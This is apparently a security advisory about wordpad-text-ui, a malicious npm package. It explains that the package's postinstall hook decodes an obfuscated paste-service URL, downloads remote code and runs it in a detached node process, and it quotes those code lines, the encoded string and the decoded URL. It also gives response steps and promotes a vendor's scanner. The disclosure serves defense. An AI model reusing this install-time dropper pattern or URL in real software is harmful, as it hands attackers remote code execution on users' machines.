wordpad-text-uinpm
wordpad-text-ui is a confirmed malicious npm package (MAL-2026-5885) that opens a backdoor for remote access (malicious versions 1.0.0, 1.0.1). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in wordpad-text-ui (npm)
What this malware does
On npm install, the declared postinstall hook runs node main.js, which decodes an obfuscated URL (stored as DEV_API_KEY="S]EH:2e2prf1uhshhnqrvm1zzz22=vswwk" in main.js line 15, deobfuscated via string reversal and a Caesar shift of -3 to https://www.jsonkeeper.com/b/7EBZP), HTTP-GETs the response via axios, and writes the body into the stdin of a detached node child process for execution (main.js lines 18-23: const s1 = (await axios.get(update(DEV_API_KEY))).data.content; const child = spawn('node', [], { detached: true,... }); child.stdin.write(s1); child.stdin.end(); child.unref();). This is a classic install-time remote code execution dropper: the payload is hosted on an anonymous, mutable JSON paste service and is therefore attacker-controlled and can change at any time without a package update. Supporting indicators reinforce malicious intent: the C2 URL is hidden behind a homemade reverse+Caesar encoding under a misleading DEV_API_KEY name (an evasion tactic against static scanners); the package's name (wordpad-text-ui) implies a text-editor UI library but index.js only errors out telling consumers not to require it, while bootstrap.js, bundle.js, and publish.js are empty 0-byte decoys — the package ships no actual functionality and exists solely to deliver the dropper. It also pulls in a sibling package richtext-editor-ui that propagates the same campaign.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Backdoor / remote accessFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for wordpad-text-ui (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging wordpad-text-ui across your stack and pipelines.
If you installed it — respond
wordpad-text-ui establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If wordpad-text-ui was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks wordpad-text-ui before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks wordpad-text-ui-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.